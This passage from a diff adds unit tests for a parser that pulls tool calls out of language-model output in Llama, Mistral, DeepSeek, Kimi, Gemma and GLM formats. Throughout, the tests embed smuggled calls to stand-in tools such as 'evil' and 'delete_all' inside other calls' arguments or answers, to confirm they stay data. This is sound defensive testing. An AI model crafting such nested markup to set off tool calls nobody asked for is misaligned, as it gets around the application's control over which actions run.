+
+    def test_call_arg_quoting_bare_function_tag_in_query(self):
+        # A query mentioning <function=...> must search, not execute a phantom tool.
+        text = '<|python_tag|>web_search.call(query="how do I use <function=foo> in llama")'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "how do I use <function=foo> in llama"
+
+    def test_call_arg_quoting_tool_call_json(self):
+        text = (
+            "<|python_tag|>save_file.call(content="
+            '"<tool_call>{\\"name\\": \\"delete\\", \\"arguments\\": {}}</tool_call>")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["save_file"]
+
+    def test_json_form_code_arg_quoting_function_xml(self):
+        # JSON emission: a <function=...> in the code arg is data; the outer "python" call runs.
+        text = (
+            '<|python_tag|>{"name":"python","parameters":'
+            '{"code":"<function=terminal>ls</function>"}}'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<function=terminal>ls</function>"
+
+    def test_call_arg_quoting_mistral_trigger(self):
+        text = '<|python_tag|>web_search.call(query="see [TOOL_CALLS]evil[ARGS]{}")'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_call_wins_over_trailing_xml(self):
+        # A leading python_tag call owns the turn even when a real XML literal follows.
+        text = (
+            '<|python_tag|>web_search.call(query="cats") '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_before_python_tag_keeps_xml_order(self):
+        # A foreign signal BEFORE the tag keeps normal document order (XML wins).
+        text = (
+            "<function=web_search><parameter=q>x</parameter></function> "
+            '<|python_tag|>python.call(code="y")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestBareJsonOuterOverXmlLiteral:
+    """Quoted tool XML inside a leading bare-JSON call is data; XML before the JSON keeps normal order."""
+
+    def test_bare_json_code_arg_quoting_function_xml(self):
+        text = (
+            '{"name": "python", "arguments": '
+            '{"code": "run() # <function=terminal>ls</function>"}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "run() # <function=terminal>ls</function>"
+
+    def test_bare_json_outer_unrestricted_mode(self):
+        text = '{"name": "python", "parameters": {"code": "<function=terminal>ls</function>"}}'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+
+    def test_xml_before_json_keeps_xml_order(self):
+        text = (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+            ' {"name": "python", "arguments": {"code": "x"}}'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestMagistralThinkRehearsal:
+    """A call rehearsed inside [THINK]...[/THINK] is reasoning; the real call after wins, and parse agrees with strip."""
+
+    def test_function_xml_rehearsal_in_think_is_not_promoted(self):
+        text = (
+            '[THINK]I could emit <function=web_search>{"query":"x"}</function>'
+            ' here[/THINK][TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["terminal"]
+
+    def test_hermes_rehearsal_in_think_is_not_promoted(self):
+        text = (
+            '[THINK]maybe <tool_call>{"name":"web_search","arguments":'
+            '{"query":"x"}}</tool_call>[/THINK]'
+            '[TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["terminal"]
+
+    def test_unclosed_think_parses_nothing(self):
+        text = '[THINK]let me try <function=web_search>{"query":"x"}</function>'
+        assert parse_tool_calls_from_text(text) == []
+
+
+class TestGemmaUnquotedApostrophes:
+    """Quotes open strings only at value-start context: an apostrophe inside
+    an unquoted wrapper-less value (contractions, possessives) is prose, and
+    treating it as an opener swallowed the closing brace and lost the call."""
+
+    def test_contraction_in_unquoted_query_parses(self):
+        text = "call:web_search{query:what's the weather}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what's the weather"
+
+    def test_contraction_does_not_swallow_next_key(self):
+        text = "call:web_search{query:what's up, n:3}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what's up"
+        assert args["n"] == 3
+
+    def test_contraction_strip_span_covers_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = "call:web_search{query:what's the weather} Done."
+        stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"})
+        assert "call:web_search" not in stripped
+        assert stripped.strip() == "Done."
+
+    def test_quoted_values_still_hide_delimiters(self):
+        text = 'call:web_search{query:"weather, location: Boston", n:2}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "weather, location: Boston"
+        assert args["n"] == 2
+
+
+class TestGlmKeyWithoutValue:
+    """A GLM <arg_key> with no <arg_value> tag: strict mode rejects the call
+    (same contract as an unclosed value) instead of executing it with the
+    argument silently dropped; Auto-Heal keeps the lenient skip."""
+
+    def test_strict_rejects_key_without_value(self):
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n</tool_call>"
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+    def test_heal_keeps_the_lenient_skip(self):
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n</tool_call>"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+        assert json.loads(calls[0]["function"]["arguments"]) == {}
+
+
+class TestDisabledBareJsonLiteralNotPromoted:
+    """A leading non-enabled-name object is content: nothing inside promotes, and a call after it still parses."""
+
+    def test_literal_inside_disabled_json_stays_data(self):
+        text = (
+            '{"name": "Alice", "note": "try <function=web_search>'
+            '<parameter=query>x</parameter></function>"}'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_python_tag_literal_inside_disabled_json_stays_data(self):
+        text = '{"name": "Alice", "note": "<|python_tag|>web_search.call(query=1)"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_real_call_after_disabled_json_still_parses(self):
+        text = (
+            '{"name": "Alice", "note": "<function=evil>x</function>"} '
+            '<tool_call>{"name": "web_search", "arguments": {"query": "cats"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestDeepSeekMarkerInsideLeadingEnvelopes:
+    """A DeepSeek/Kimi marker quoted inside a leading bare-JSON or Mistral
+    call's argument strings is data: the pre-pass must not promote the
+    embedded no-arg literal and drop the real outer call."""
+
+    def test_marker_inside_leading_json_call_stays_data(self):
+        text = (
+            '{"name": "web_search", "arguments": '
+            '{"query": "what is <｜tool▁calls▁begin｜>...{}..."}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert "tool▁calls▁begin" in args["query"]
+
+    def test_marker_inside_leading_mistral_call_stays_data(self):
+        text = (
+            '[TOOL_CALLS] [{"name": "web_search", "arguments": '
+            '{"query": "docs on <｜tool▁calls▁begin｜> markers"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_standalone_deepseek_call_still_parses(self):
+        text = (
+            "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+            '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestMistralLiteralInsideLeadingJson:
+    """A [TOOL_CALLS] literal quoted inside a leading JSON object must not be promoted over it."""
+
+    def test_outer_json_call_wins_over_mistral_literal(self):
+        text = '{"name": "python", "arguments": {"code": "[TOOL_CALLS]web_search{}"}}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"})
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "[TOOL_CALLS]web_search{}"
+
+    def test_disabled_outer_json_keeps_mistral_literal_as_data(self):
+        text = '{"name": "Alice", "note": "[TOOL_CALLS]web_search{}"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaWrappedWhitespace:
+    """Whitespace drift around ``call``/``:`` in wrapped Gemma calls must still parse (no fallback exists)."""
+
+    def test_space_after_call_colon_parses(self):
+        text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_space_around_colon_parses(self):
+        text = '<|tool_call>call : web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_strict_mode_still_requires_the_closing_tag(self):
+        text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+
+class TestDisabledJsonBeforeDeepSeekCall:
+    """A disabled leading bare-JSON object whose strings mention a
+    DeepSeek/Kimi marker is dropped and the tail parsed, so a REAL
+    DeepSeek/Kimi call after the object still executes instead of the whole
+    message skipping the pre-pass."""
+
+    _DS = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+        '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+
+    def test_real_deepseek_call_after_disabled_json_parses(self):
+        text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"} ' + self._DS
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_disabled_json_with_marker_alone_stays_data(self):
+        text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaDottedArgumentKeys:
+    """Dotted Gemma keys (namespaced schemas) must survive key-quoting or the call is lost."""
+
+    def test_dotted_key_parses(self):
+        text = '<|tool_call>call:web_search{user.name:<|"|>bob<|"|>, query:<|"|>x<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"user.name": "bob", "query": "x"}
+
+
+class TestLeadingWrapperlessGemmaOverEmbeddedMarkers:
+    """A leading wrapper-less Gemma call to an enabled tool owns the turn: a
+    quoted foreign literal inside its argument (a query citing another tool
+    syntax) is data, and tool_healing must not promote it before the Gemma
+    fallback runs. Foreign markup leading keeps the normal order."""
+
+    def test_leading_gemma_wins_over_quoted_xml_literal(self):
+        text = (
+            'call:web_search{query:"explain <tool_call>'
+            '{"name":"evil","arguments":{}}</tool_call>"}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_leading_keeps_normal_order(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":'
+            '{"query":"call:evil{x:1} example"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestLeadingMistralCallOwnsTheTurn:
+    """A leading Mistral call wins in document order over literal XML in trailing prose."""
+
+    def test_leading_mistral_wins_over_trailing_xml_literal(self):
+        text = (
+            '[TOOL_CALLS]web_search[ARGS]{"query":"cats"} '
+            "Note: <function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_function_xml_leading_keeps_normal_order(self):
+        text = (
+            "<function=web_search><parameter=query>x</parameter></function> "
+            "[TOOL_CALLS]evil[ARGS]{}"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestGemmaDottedKeyAfterBareValue:
+    def test_dotted_key_after_bare_value_is_a_boundary(self):
+        text = "<|tool_call>call:web_search{query:foo,user.name:bob}<tool_call|>"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "foo", "user.name": "bob"}
+
+
+class TestJsonAnswersAreDataForMarkerlessScans:
+    """A whole-content JSON value is a structured answer: a quoted example of
+    an enabled tool's syntax inside it must not execute the tool, and the
+    display strip must not mutilate the answer."""
+
+    def test_gemma_example_inside_json_answer_not_promoted(self):
+        text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_gemma_example_inside_json_answer_not_stripped(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+        text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}'
+        assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text
+
+    def test_kimi_marker_inside_json_answer_not_promoted(self):
+        text = (
+            '{"answer":"<|tool_call_begin|>functions.web_search:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaNestedQuotedLeaves:
+    def test_nested_object_and_array_values_are_unquoted(self):
+        text = 'call:f{loc:{city:"New York"},items:["a","b"],n:3}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"loc": {"city": "New York"}, "items": ["a", "b"], "n": 3}
+
+
+class TestEarliestEnvelopeWinsAcrossDeepSeekKimi:
+    """The DeepSeek/Kimi pre-pass dispatches by earliest envelope opener: a
+    leading real call wins over a trailing example of the sibling format in
+    either direction (document order, like the other leading guards)."""
+
+    _DS = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>evil\n"
+        '```json\n{"x": 1}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    _KIMI = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"query": "cats"}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+
+    def test_leading_kimi_wins_over_trailing_deepseek_example(self):
+        text = self._KIMI + " For reference: " + self._DS
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_deepseek_wins_over_trailing_kimi_example(self):
+        text = self._DS + " Kimi format: " + self._KIMI
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestNamelessLeadingJsonAnswerIsData:
+    """A nameless leading JSON answer is an envelope: quoted markup stays data, and a call after it parses."""
+
+    def test_xml_literal_inside_json_answer_stays_data(self):
+        text = '{"answer": "use <function=web_search><parameter=query>x</parameter></function>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_real_call_after_json_answer_still_parses(self):
+        text = (
+            '{"answer": "docs"} <tool_call>{"name": "web_search", '
+            '"arguments": {"query": "cats"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestClosedCallPrecedesMarkerPrePass:
+    """A closed non-DeepSeek/Kimi call that precedes the first DS/Kimi marker
+    owns the turn: a trailing example (or an example quoted inside a wrapped
+    Gemma argument) must not be promoted by the pre-pass."""
+
+    _KIMI_EVIL = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.evil:0"
+        '<|tool_call_argument_begin|>{"x": 1}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+
+    def test_kimi_example_inside_wrapped_gemma_arg_stays_data(self):
+        text = (
+            '<|tool_call>call:web_search{query:<|"|>explain '
+            + self._KIMI_EVIL
+            + '<|"|>}<tool_call|>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_xml_call_wins_over_trailing_kimi_example(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'
+            " For reference: " + self._KIMI_EVIL
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_standalone_kimi_call_still_parses(self):
+        calls = parse_tool_calls_from_text(self._KIMI_EVIL)
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestTruncatedWrapperlessGemmaStopsScan:
+    def test_call_quoted_inside_truncated_arg_not_promoted(self):
+        text = 'call:python{code:example("call:web_search{query:hi}") and then it cut'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == []
+
+
+class TestGemmaQuotedNestedDelimiters:
+    def test_comma_inside_quoted_nested_string_not_a_split(self):
+        text = 'call:f{loc:{city:"New, York"},n:1}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"loc": {"city": "New, York"}, "n": 1}
+
+
+class TestGemmaStringMarkerLiteralInArgs:
+    def test_string_marker_literal_does_not_lose_the_call(self):
+        text = "call:web_search{query:'what does <|\"|> mean in Gemma'}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == 'what does <|"|> mean in Gemma'
+
+
+class TestGemmaMidValueQuotedPhrase:
+    def test_quoted_phrase_mid_value_hides_delimiters(self):
+        text = 'call:web_search{query:find "weather, location: Boston", limit:3}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": 'find "weather, location: Boston"', "limit": 3}
+
+    def test_apostrophes_still_prose_mid_value(self):
+        text = "call:web_search{query:what's on at the museum, n:2}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "what's on at the museum", "n": 2}
+
+
+class TestGlmStrictRefusesInQuoteFallback:
+    """A truncated GLM value whose only close candidates sit inside a string
+    literal must reject in strict mode instead of executing truncated
+    arguments; Auto-Heal keeps the lenient partial value."""
+
+    _TRUNC = (
+        '<tool_call>python\n<arg_key>code</arg_key>\n<arg_value>print("</arg_value></tool_call>")'
+    )
+
+    def test_strict_rejects_truncated_in_string_close(self):
+        assert parse_tool_calls_from_text(self._TRUNC, allow_incomplete = False) == []
+
+    def test_heal_keeps_partial_value(self):
+        calls = parse_tool_calls_from_text(self._TRUNC, allow_incomplete = True)
+        assert len(calls) == 1 and calls[0]["function"]["name"] == "python"
+
+
+class TestGemmaGuardCoversPreambles:
+    def test_preamble_then_gemma_call_quoting_xml_wins(self):
+        text = (
+            "Sure, searching now. call:web_search{query:"
+            '"explain <tool_call>{"name":"evil","arguments":{}}</tool_call>"}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestGlmStrictAcceptsApostrophes:
+    def test_apostrophe_value_parses_in_strict_mode(self):
+        text = (
+            "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+            "<arg_value>what's the weather</arg_value>\n</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "what's the weather"}
+
+
+class TestDisabledGemmaCallLiteralsAreData:
+    def test_literal_inside_disabled_call_not_promoted(self):
+        text = 'call:foo{query:"<function=python><parameter=code>x</parameter></function>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == []
+
+    def test_real_call_after_disabled_example_still_parses(self):
+        text = (
+            'call:foo{query:"<function=python><parameter=code>x</parameter></function>"}'
+            " call:web_search{query:hi}"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestLeadingJsonArrayAnswerIsData:
+    def test_kimi_marker_inside_json_array_answer_not_promoted(self):
+        text = (
+            '[{"answer": "<|tool_call_begin|>functions.web_search:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}]'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestLeadingBareJsonOwnsTurnOverTrailingXml:
+    """Document order: a leading closed bare-JSON call owns the turn even when
+    tool XML appears AFTER it (inside-or-after, mirroring the Mistral rule)."""
+
+    def test_leading_call_wins_over_trailing_xml(self):
+        text = (
+            '{"name":"lookup","parameters":{"q":"first"}} Example: '
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"q": "first"}
+
+    def test_chained_leading_calls_win_over_trailing_xml(self):
+        text = (
+            '{"name":"lookup","parameters":{"q":"first"}};'
+            '{"name":"lookup","parameters":{"q":"second"}} '
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls
+
+    def test_non_call_leading_object_defers_to_trailing_real_call(self):
+        # Nameless answers and disabled-name objects take the decline path:
+        # the object is dropped and the real trailing call still parses.
+        for lead in ('{"answer": 42}', '{"name":"draft","parameters":{}}'):
+            text = lead + ' <tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+            calls = parse_tool_calls_from_text(text, enabled_tool_names = {"delete_all"})
+            assert [c["function"]["name"] for c in calls] == ["delete_all"], (lead, calls)
+
+    def test_leading_xml_call_still_wins_over_trailing_bare_json(self):
+        text = (
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call> '
+            'Example: {"name":"lookup","parameters":{"q":"x"}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["delete_all"], calls
+
+
+class TestProseCloseTagAfterClosedFunctionCall:
+    """A literal </function> in prose after a closed call is data: the call
+    ends at its first close that is not parameter data, so arguments never
+    swallow the prose between the real close and the literal."""
+
+    def test_arguments_do_not_swallow_prose(self):
+        text = (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+            " Done. The tag </function> closes a call."
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_literal_close_inside_open_parameter_stays_data(self):
+        text = '<function=python><parameter=code>print("</function>")</parameter></function>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert [c["function"]["name"] for c in calls] == ["python"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</function>")'}
+
+    def test_attribute_form_arguments_do_not_swallow_prose(self):
+        # The <function name="..."> attribute form shares the first-balanced-close
+        # rule: prose mentioning a literal close tag never folds into arguments.
+        text = (
+            '<function name="web_search"><parameter name="query">cats</parameter></function>'
+            " Done. The tag </function> closes a call."
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_attribute_form_literal_close_in_open_parameter_stays_data(self):
+        text = '<function name="python"><parameter name="code">print("</function>")</parameter></function>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</function>")'}
+
+    def test_attribute_form_two_calls_both_parse(self):
+        text = (
+            '<function name="web_search"><parameter name="query">cats</parameter></function>'
+            '<function name="python"><parameter name="code">x=1</parameter></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "python"})
+        assert [c["function"]["name"] for c in calls] == ["web_search", "python"], calls
+
+
+class TestEnabledNameJsonAnswerIsContent:
+    """A JSON answer whose top-level name matches an enabled tool but has no
+    call shape is content: the parser rejects it, so the strip and the drain
+    gate must keep it visible too."""
+
+    def test_answer_survives_strip(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        ans = '{"name":"web_search","result":"no call"}'
+        assert strip_leading_bare_json_call(ans, {"web_search"}) == ans
+
+    def test_answer_does_not_route_to_draining(self):
+        from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+        assert not _looks_like_enabled_bare_json(
+            '{"name":"web_search","result":"no call"}', {"web_search"}
+        )
+
+    def test_real_call_still_strips_and_drains(self):
+        from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+        real = '{"name":"web_search","parameters":{"q":"x"}}'
+        assert strip_leading_bare_json_call(real, {"web_search"}) == ""
+        assert _looks_like_enabled_bare_json(real, {"web_search"})
+
+    def test_arguments_string_call_still_strips(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        call = '{"name":"web_search","arguments":"{\\"q\\":\\"x\\"}"} tail'
+        assert strip_leading_bare_json_call(call, {"web_search"}) == "tail"
+
+
+class TestAttributeFormLeadingContainment:
+    """A leading attribute-form call owns the turn: markup quoted inside its
+    parameter is data, not a call for the shared XML parser to promote."""
+
+    def test_quoted_tool_call_inside_param_stays_data(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<function name="web_search"><param name="query">find '
+            '<tool_call>{"name":"delete","arguments":{}}</tool_call></param></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert "delete" in json.loads(calls[0]["function"]["arguments"])["query"]
+
+    def test_real_xml_call_before_attribute_form_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<tool_call>{"name":"delete","arguments":{}}</tool_call> Example: '
+            '<function name="web_search"><param name="q">x</param></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"})
+        assert calls[0]["function"]["name"] == "delete"
+
+
+class TestParameterKeepsMultipleLiteralCloses:
+    """A parameter that provably closes with its own tag keeps every literal
+    function close inside it as data (regression: the first literal close was
+    treated as ending the parameter, truncating the value)."""
+
+    def test_two_literal_closes_in_one_parameter(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<function name="web_search"><param name="query">'
+            "a </function> b </function> c </param></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "query": "a </function> b </function> c"
+        }
+
+    def test_strip_removes_the_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+        text = (
+            '<function name="web_search"><param name="query">'
+            "a </function> b </function> c </param></function> after"
+        )
+        assert strip_tool_markup(text, final = True) == "after"
+
+    def test_unclosed_parameter_still_heals_at_function_close(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+        calls = parse_tool_calls_from_text(
+            "<function=web_search><parameter=query>val</function>",
+            enabled_tool_names = {"web_search"},
+        )
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "val"}
+
+
+class TestMistralPreambleOwnership:
+    """A visible preface before the first Mistral call must not hand the turn
+    to a later XML literal: the Mistral call is first in document order."""
+
+    def test_v11_named_form_after_preface(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            'pref [TOOL_CALLS]web_search[ARGS]{"query":"cats"} Note '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
